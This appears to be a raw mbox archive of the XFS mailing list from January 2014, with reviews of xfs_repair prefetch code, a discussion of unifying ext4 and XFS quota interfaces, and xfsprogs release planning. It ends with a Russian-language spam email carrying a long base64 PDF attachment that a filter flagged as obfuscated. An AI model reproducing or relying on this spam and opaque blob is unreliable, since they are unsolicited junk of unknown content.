bm_len = mp->m_dirblkfsbs - len; > else > bm_len = irec.br_blockcount; > len += bm_len; > > ... > > if (len == mp->dirblkfsbs) { > len = 0; > pf_queue_io(...) > } Yeah, that's more obvious and consistent with other code. Will fix. > ... which then raises the question of what happens if the directory > we're reading doesn't end with len == mp->dirblkfsbs? If so, perhaps not > a performance regression, but it looks like we wouldn't queue the last > I/O. Some of the directory code suggests that we fail if we don't alloc > the dirblkfsbs block count, so maybe this doesn't happen. That's not an issue the prefetch code needs to handle. Prefetching is just about walking the extent tree and pulling the necessary buffers into the cache prior to scanning them. Other code is responsible for checking that the block count/extent map is actually valid. Also, if we don't prefetch a block, then when it is required later it will be read directly. Hence not doing IO here is does not affect the behaviour of xfs_repair at all. > > +/* > > + * pf_batch_read must be called with the lock locked. > > + */ > > static void > > pf_batch_read( > > prefetch_args_t *args, > > @@ -426,8 +495,15 @@ pf_batch_read( > > max_fsbno = fsbno + pf_max_fsbs; > > } > > while (bplist[num] && num < MAX_BUFS && fsbno < max_fsbno) { > > - if (which != PF_META_ONLY || > > - !B_IS_INODE(XFS_BUF_PRIORITY(bplist[num]))) > > + /* > > + * Handle discontiguous buffers outside the seek > > + * optimised IO loop below. > > + */ > > + if ((bplist[num]->b_flags & LIBXFS_B_DISCONTIG)) { > > + pf_read_discontig(args, bplist[num]); > > + bplist[num] = NULL; > > So we pull these out from the processing below (which appears to want to > issue largish reads comprised of multiple buffers, via bplist). Thanks > for the comment above pf_read_discontig(). Yes, that's right. FYI, the concept behind the prefetch algorithm is to optimise the IO if possible by doing a single large IO and cherry-picking the metadata out of it rather than lots of small semi-random IOs. i.e. use excess storage bandwidth instead of seeks to read dense regionsof metadata. With dense enough metadata and multi-threading this optimisation allows xfs_repair to pull in hundreds of megabytes of metadata every second for processing and as such can keep multiple CPUs busy even on seek-limited storage. The code is pretty gnarly, though.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Jan 23 16:35:44 2014 Return-Path: <david@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9D84729E09 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 16:35:44 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 10D39AC003 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 14:35:40 -0800 (PST) X-ASG-Debug-ID: 1390516537-04cbb05babc38e0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id nDSxUFqbS7VXIWsK for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 14:35:37 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AugJAKmY4VJ5LGaB/2dsb2JhbABaDoJ+gzq0O4VQgRUXdIIlAQEBAwEYDxMcKAsIAw4KCSUPBSUDIQESh30HxzgWjh1UhDgEmCKSGYJuUyiBLQ Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Jan 2014 09:02:09 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from <david@fromorbit.com>) id 1W6Sof-0006KN-Of; Fri, 24 Jan 2014 09:32:05 +1100 Date: Fri, 24 Jan 2014 09:32:05 +1100 From: Dave Chinner <david@fromorbit.com> To: Andreas Dilger <adilger@dilger.ca>, Ext4 Developers List <linux-ext4@vger.kernel.org>, Theodore Ts'o <tytso@mit.edu>, Dmitry Monakhov <dmonakhov@openvz.org>, Ben Myers <bpm@sgi.com>, xfs@oss.sgi.com, Li Xi <pkuelelixi@gmail.com> Subject: Re: [RFC] directory quota survey on xfs Message-ID: <20140123223205.GJ27606@dastard> X-ASG-Orig-Subj: Re: [RFC] directory quota survey on xfs References: <20131222095929.GA11444@gmail.com> <20131223014222.GC3220@dastard> <20140115081201.GA3820@gmail.com> <5966C533-EF18-4804-8C83-DFBD607D9BE6@dilger.ca> <20140115213207.GJ3431@dastard> <20140121070706.GA1819@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140121070706.GA1819@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1390516537 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144408 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jan 21, 2014 at 03:07:06PM +0800, Zheng Liu wrote: > Hi Dave, > > On Thu, Jan 16, 2014 at 08:32:07AM +1100, Dave Chinner wrote: > > On Wed, Jan 15, 2014 at 11:03:22AM -0700, Andreas Dilger wrote: > > > quotas (to keep compatibility for existing XFS deployments), but add > > > support into quota-tools so that it is usable by all filesystems. > > > > Well, yes. If you are writing a generic quota tool, then it needs to > > support all filesystems. We already have a fully featured quota API > > that can provide this support - it's the API that XFS has been using > > since it was ported to Linux. We have the opportunity to unify the > > quota APIs that ext4 and XFS, so we should take the opportunity > > while it is here. Don't create a new API for ext4 simply because of > > NIH syndrome. > > These days I was thinking about your comment that uses quotactl API to > communicate the userspace tool with the kernel. But I am still > confusing about your comment that unifies the quota API between ext4 and > XFS. > > Now we have two flag sets in quotactl(2). One (Q_QUOTAON, Q_GETQUOTA, > etc...) is used by extN file system (I am not sure whether other file > systems use these flags or not), and another (Q_XQUOTAON, Q_XGETQSTAT, > etc...) is used by XFS. I'm talking about making ext4 be able to use Q_XQUOTAON, Q_XGETQSTAT, etc. > In xfs_quota it uses an ioctl(2) to get/set/check project id, Right, because that's a filesystem specific operation that has no equivalent in any other filesystem at this point in time. Same for the project inheritence inode flag. You're going to need to add such an interface to ext4 to do this, so add a generic ioctl and wire XFS up to it as well. This is kind of why I want a generic xattr namespace for inode flags/attribute at the VFS - so we don't have to keep inventing new ioctl/fcntl interfaces to make this sort of functionality common between different filesystems - we just define a new attribute string and values and let individual filesystems handle how they store them. > and calls > quotactl(2) with Q_XSETQLIM/Q_XGETQUOTA to set/get project quota. Right, that's the quota management interface - it can also be used to manage user and group quotas, so in userspace you can just use the one interface for everything > On > kernel side, ->set_dqblk()/get_dqblk() is called when we try to set/get > project quota in XFS. And user/group quotas, too. > In ext4 the same callback functions are used to > set/get user/group quota, although on userspace we use Q_SETQUOTA/ > Q_GETQUOTA to set/get quota. I am not sure I fully understand your > meaning that unifies the quota API between ext4 and XFS. Do you mean > that we should use Q_XSETQLIM/Q_XGETQUOTA flags to set/get quota on ext4? What I mean is that you should have quotatool speak the Q_X* quota protocol defined in include/uapi/linux/dqblk_xfs.h via quotactl(2) if the underlying filesystem supports it. Indeed, quotatool already detects XFS filesystems and switches to using the Q_X* interface automatically, so there shouldn't be a huge amount of change needed in it to support project quotas via this interface, nor add ext4 support to use the interface. Then for project quota support in ext4, you implement the Q_X* quota ops methods for that protocol similar method to xfs in fs/xfs/xfs_quotaops.c. That way ext4 will be able to speak both the current v0-v2 protocols (so it doesn't break userspace compatibility with older binaries), and the userspace quotatool will be able to fully manage project quotas on both XFS and ext4 filesystems in a common manner. Cheers, Dave. -- Dave Chinner david@fromorbit.com From rjohnston@sgi.com Thu Jan 23 16:37:26 2014 Return-Path: <rjohnston@sgi.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6320B29E09 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 16:37:26 -0600 (CST) Received: from xmail.sgi.com (pv-excas2-dc21.corp.sgi.com [137.38.106.9]) by relay2.corp.sgi.com (Postfix) with ESMTP id C15F3304032; Thu, 23 Jan 2014 14:37:22 -0800 (PST) Received: from [134.15.0.239] (134.15.0.239) by xmail.sgi.com (137.38.106.6) with Microsoft SMTP Server (TLS) id 14.3.123.3; Thu, 23 Jan 2014 16:37:22 -0600 Message-ID: <52E199A1.4010902@sgi.com> Date: Thu, 23 Jan 2014 16:37:21 -0600 From: Rich Johnston <rjohnston@sgi.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner <david@fromorbit.com>, =?UTF-8?B?QXJrYWRpdXN6IE1pxZtraWV3?= =?UTF-8?B?aWN6?= <arekm@maven.pl> CC: <xfs@oss.sgi.com> Subject: Re: xfsprogs 3.1.12 and 3.2.0 releases? References: <201401201822.48520.arekm@maven.pl> <201401210917.38674.arekm@maven.pl> <20140121234151.GJ13997@dastard> <201401221548.52273.arekm@maven.pl> <20140122230356.GD27606@dastard> In-Reply-To: <20140122230356.GD27606@dastard> Content-Type: text/plain; charset="UTF-8"; format=flowed Content-Transfer-Encoding: 8bit X-Originating-IP: [134.15.0.239] On 01/22/2014 05:03 PM, Dave Chinner wrote: > On Wed, Jan 22, 2014 at 03:48:52PM +0100, Arkadiusz Miśkiewicz wrote: >> On Wednesday 22 of January 2014, Dave Chinner wrote: >>> On Tue, Jan 21, 2014 at 09:17:38AM +0100, Arkadiusz Miśkiewicz wrote: >> >>>> By looking into git log these look like small fixes for 3.1.x. Could >>>> someone else recheck? >>> >>> ..... >>> >>>> 3a19fb7dce9d570e78deaf5c26c0ab8a4a5bef67 libxfs: stop caching inode >>>> structures 61510437c627b529feb95ebffddd73df5ed5b104 repair: prefetching >>>> is turned off unnecessarily 0cce4aa198f0470817bedb3781ea5b6955e43076 >>>> repair: Increase default repair parallelism on large filesystems >>> >>> I think these three are not a great idea for 3.1.x. They result in >>> significant changes of behaviour that can result in increased memory >>> consumption by default. I'd prefer that we don't make changes to the >>> default behaviour in a bug-fix only point release. >> >> 3a19fb7dce9d570e78deaf5c26c0ab8a4a5bef67 libxfs: stop caching inode >> >> looks like wasting memory fix to me but ok. > > The last paragraph ofi the commit message points out the problems > that can occur with memory consumption. For sparse inode > populations, the buffer cache can consume much more memory than the > inode cache did, and that can cause OOM problems with repair... > > As it is, it is a significant change of behaviour, so for a > lightweight bug-fix only release I feel that it is out-of-scope... > > Cheers, > > Dave. > I'll get this put together by Monday unless someone else wants to do it. --Rich From dominic@swbell.net Thu Jan 23 16:52:06 2014 Return-Path: <dominic@swbell.net> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.5 required=5.0 tests=HTML_MESSAGE, HTML_TAG_BALANCE_HEAD,T_OBFU_PDF_ATTACH autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AE3CE29E0F for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 16:52:05 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3B7CEAC003 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 14:52:05 -0800 (PST) X-ASG-Debug-ID: 1390517516-04bdf030e8d2720001-NocioJ Received: from mail4.pipni.cz (mail4.pipni.cz [93.185.104.7]) by cuda.sgi.com with ESMTP id GMLrNfh6CZrtFJZz (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 14:51:58 -0800 (PST) X-Barracuda-Envelope-From: dominic@swbell.net X-Barracuda-Apparent-Source-IP: 93.185.104.7 Received: from [202.169.236.195] (helo=Unknown) id 1W6T7f-0007Tw-Dy by authid <recepce@e59.cz>; Thu, 23 Jan 2014 23:51:53 +0100 Message-ID: <11861C81C50F45A88DDFC9B655145330@lnfpzo> Reply-To: =?windows-1251?B?yu7t9OXw5e326P8gIsfA2cjSwCDP0MXEz9DI?= =?windows-1251?B?39LI3yI=?= <evan@mindspring.com> From: =?windows-1251?B?yu7t9OXw5e326P8gIsfA2cjSwCDP0MXEz9DI?= =?windows-1251?B?39LI3yI=?= <dominic@swbell.net> To: <order@gvaccord.ru>, <s@mail.nevalink.ru>, <xfs@oss.sgi.com>, <hwb@merit.edu>, <info@ic-afimilk.ru> Subject: =?windows-1251?B?x+D56PLgIO/w5eTv8Oj/8uj/IO7yIPDl6eTl?= =?windows-1251?B?8PHq6PUg4PLg6g==?= Date: Thu, 23 Jan 2014 23:52:14 +0100 X-ASG-Orig-Subj: =?windows-1251?B?x+D56PLgIO/w5eTv8Oj/8uj/IO7yIPDl6eTl?= =?windows-1251?B?8PHq6PUg4PLg6g==?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0207_01CF1896.24137650" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6109 X-pipni-MailScanner-ID: 1W6T7f-0007Tw-Dy X-pipni-MailScanner: Found to be clean X-pipni-MailScanner-SpamCheck: not spam (too large) X-pipni-MailScanner-From: dominic@swbell.net X-Barracuda-Connect: mail4.pipni.cz[93.185.104.7] X-Barracuda-Start-Time: 1390517518 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, HTML_TAG_BALANCE_HEAD X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144409 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_TAG_BALANCE_HEAD BODY: HTML has unbalanced "head" tags 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. ------=_NextPart_000_0207_01CF1896.24137650 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0208_01CF1896.24137650" ------=_NextPart_001_0208_01CF1896.24137650 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =C0=ED=F2=E8=F0=E5=E9=E4=E5=F0=F1=EA=E8=E9 =EF=E0=EA=E5=F2 =E4=EB=FF =E1=E8= =E7=ED=E5=F1=E0 ------=_NextPart_001_0208_01CF1896.24137650 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML><HEAD> <META content=3D"text/html; charset=3Dwindows-1251" http-equiv=3DContent-= Type> <META name=3DGENERATOR content=3D"MSHTML 8.00.6001.19154"> <BODY> <DIV>=C0=ED=F2=E8=F0=E5=E9=E4=E5=F0=F1=EA=E8=E9 =EF=E0=EA=E5=F2 =E4=EB=FF= =E1=E8=E7=ED=E5=F1=E0</DIV></BODY></HTML> ------=_NextPart_001_0208_01CF1896.24137650-- ------=_NextPart_000_0207_01CF1896.24137650 Content-Type: application/octet-stream; name="=?windows-1251?B?wO3y6PDl6eTl8PHq6Okg7+Dq5fIg5Ov/IOHo?= =?windows-1251?B?5+3l8eAucGRm?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?wO3y6PDl6eTl8PHq6Okg7+Dq5fIg5Ov/IOHo?= =?windows-1251?B?5+3l8eAucGRm?=" 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 H44JDwuvCX8YYRNRENG/gLpgyYKWBa8ivSLLIu9EmURJonqjFaMTopujX8d4x5THSGOtYlfGXorT iBPEdcdj46Pjm+KnF/os3LlwPME+oTjh+iLjRXmLLizWWJy++PgSxSWcJUcS0YkxiS2J7zmhnAbO 9NKApbVLp7hs7i7uE54Hbwdvku/KL+dPJLkmlSc9SnZN3p48meKeUpHyVMAWVAuep/qn1qW+TgtN 25/2KT0mvT0Dl5GYcVRIEaYJ+zK1M/Myh7PMs4qzpMucl+1cNiUKEjVlQ9mLsrvFNNnP1IDERLJe MprjllOT8yY3OvdInnKeMG9gudnyTcsn8n3zv16BWsFd0VugW7C2YHSl58r6VdCqpat6V+uvLlo9 vsZvzYG1hLVpa38otC4sL3y5LmZdT5FW0ZqisfV+61uLFYpFxTc2uGyo24jaKNg4uGnupqpNH0t4 JRdLrUsrSt9v5m6++JXNV5VffdqStGWwzKFsz1bMVuHW69vctx0oVy7PLx/bHrK9cwdjR8mOlzuX 7LxQYVdRt4uwS7JLWhlc2V1lULW16n11SvVIjVdNe61m7aba17t5u6/s8djTVqdVV1r3bq9g7816 v/rOBqOGin2YfTn7HjZGN/Z/zfq6uUmjqbTpw37hfumBiAN9zY7NzS2aLWWtcKukdfJgwsHL33h/ 093GbKtvp7eXHgKHJIcef5v47fXDQYd7j7COtH1n+F1tB7WjpBPqXN451ZXSJe2O6x4+Gni0t8el p+N7y+/3H9M9VnNc5XjZCcKJohOfTuafnD6Vderp6eTTY71Leu+ciT1zrS+8b/Bs0Nnz53zPnen3 7D953vX8sQvOF45eZF3suuRwqXPAfqDjB/sfOgYdBjuHHIe6Lztd7hmeN3ziivuV01e9r567FnDt 0sj8keHrUddv3ki4Ib3Ju/noVvqt57dzbs/cWXMXfbfkntK9ivua9xt+NP2xXeogPT7qPTrwYMGD O2PcsSc/Zf/0frzoIflhxYTORPMj20fHJn0nLz9e+Hj8SdaTmafFPyv/XPvM5Nl3v3j8MjAVOzX+ XPT806+bX6i/2P/S7mXvdNj0/VcZr2Zel7xRf3PgLett/7uYdxMzue+x7ys/mH7o+Rj08e6njE+f fgP3hPP7CmVuZHN0cmVhbQplbmRvYmoKMiAwIG9iago8PC9UeXBlL1hPYmplY3QvU3VidHlwZS9J bWFnZS9XaWR0aCAxNjU0L0hlaWdodCAyMzM5L0xlbmd0aCAxODkyMzkvQ29sb3JTcGFjZVsvSW5k ZXhlZFsvSUNDQmFzZWQgMSAwIFJdIDI1MigAAAAaGhozMzNNTU1mZmaAgICZmZmzs7PMzMzm5ub/ //8AAP8AM/8AZv8Amf8AzP8A//8A/8wA/5kA/2YA/zMA/wAz/wBm/wCZ/wDM/wD//wD/zAD/mQD/ ZgD/MwD/AAD/ADP/AGb/AJn/AMz/AP8zAGYzM2YzZmYzmWYzzGYz/2aZzGaZmWaZZmaZM2aZAGYA AAAAADMAAGYAAJkAAMwAAP8AMwAAMzMAM2YAM5kAM8wAM/8AZgAAZjMAZmYAZpkAZswAZv8AmQAA mTMAmWYAmZkAmcwAmf8AzAAAzDMAzGYAzJkAzMwAzP8A/wAA/zMA/2YA/5kA/8wA//8zAAAzADMz AJkzAMwzAP8zMwAzMzMzM5kzM8wzM/8zZgAzZjMzZpkzZswzZv8zmQAzmTMzmZkzmcwzmf8zzAAz zDMzzJkzzMwzzP8z/wAz/zMz/5kz/8wz//9mAABmADNmAGZmAJlmAMxmAP9mMwBmMzNmM2ZmM5lm M8xmM/9mZgBmZjNmZmZmZplmZsxmZv9mmQBmmTNmmWZmmZlmmcxmmf9mzABmzDNmzGZmzJlmzMxm zP9m/wBm/zNm/2Zm/5lm/8xm//+ZAACZADOZAJmZAMyZAP+ZMwCZMzOZM5mZM8yZM/+ZZgCZZjOZ ZpmZZsyZZv+ZmQCZmTOZmZmZmcyZmf+ZzACZzDOZzJmZzMyZzP+Z/wCZ/zOZ/2aZ/5mZ/8yZ///M AADMADPMAGbMAJnMAMzMAP/MMwDMMzPMM2bMM5nMM8zMM//MZgDMZjPMZmbMZpnMZszMZv/MmQDM mTPMmWbMmZnMmczMmf/MzADMzDPMzGbMzJnMzMzMzP/M/wDM/zPM/2bM/5nM/8zM////AAD/ADP/ AGb/AJn/AMz/AP//MwD/MzP/M2b/M5n/M8z/M///ZgD/ZjP/Zmb/Zpn/Zsz/Zv//mQD/mTP/mWb/ mZn/mcz/mf//zAD/zDP/zGb/zJn/zMz/zP///wD//zP//2b//5n//8z///8pXS9EZWNvZGVQYXJt czw8L0JpdHNQZXJDb21wb25lbnQgOC9QcmVkaWN0b3IgMTUvQ29sdW1ucyAxNjU0L0NvbG9ycyAx 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 